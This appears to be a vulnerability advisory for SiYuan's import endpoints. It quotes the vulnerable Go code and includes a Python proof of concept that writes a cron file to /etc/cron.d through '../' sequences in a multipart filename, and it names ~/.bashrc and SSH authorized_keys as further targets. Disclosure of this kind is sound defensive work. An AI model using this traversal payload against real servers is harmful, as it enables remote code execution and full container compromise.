Description

SiYuan importSY/importZipMd: path traversal via multipart filename enables arbitrary file write

Summary

POST /api/import/importSY and POST /api/import/importZipMd write uploaded archives to a path derived from the multipart filename field without sanitization, allowing an admin to write files to arbitrary locations outside the temp directory - including system paths that enable RCE.

Details

File: kernel/api/import.go - functions importSY and importZipMd

file := files[0]
writePath := filepath.Join(util.TempDir, "import", file.Filename)
writer, err := os.OpenFile(writePath, os.O_RDWR|os.O_CREATE, 0644)

importZipMd has a second traversal in unzipPath construction:

filenameMain := strings.TrimSuffix(file.Filename, filepath.Ext(file.Filename))
unzipPath    := filepath.Join(util.TempDir, "import", filenameMain)
gulu.Zip.Unzip(writePath, unzipPath)

filepath.Join calls filepath.Clean internally, but cleaning happens after concatenation - sufficient ../ sequences escape the base directory entirely. The curl tool sanitizes ../ in multipart filenames, so exploitation requires sending the raw HTTP request via Python requests or a custom client.

PoC

Environment:

docker run -d --name siyuan -p 6806:6806 \
  -v $(pwd)/workspace:/siyuan/workspace \
  b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123

Exploit:

import requests, zipfile, io

HOST  = "http://localhost:6806"
TOKEN = "YOUR_ADMIN_TOKEN"

buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as z:
    z.writestr("TestNB/20240101000000-abcdefg.sy",...
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RCE via cron (root container):

cron = b"* * * * * root touch /tmp/RCE_CONFIRMED\n"
r = requests.post(f"{HOST}/api/import/importSY",
    headers={"Authorization": f"Token {TOKEN}"},
    files={"file": ("../../../../../etc/cron.d/siyuan_poc", cron, "application/zip")},
    data={"notebook": "NOTEBOOK_ID", "toPath": "/"})

Confirmed response on v3.6.0: {"code":0,"msg":"","data":null}

Impact

An admin can write arbitrary content to any path writable by the SiYuan process:

RCE via /etc/cron.d/ (root containers), ~/.bashrc, SSH authorized_keys

Data destruction by overwriting workspace or application files

In Docker containers running as root (common default), this grants full container compromise

Mitigation

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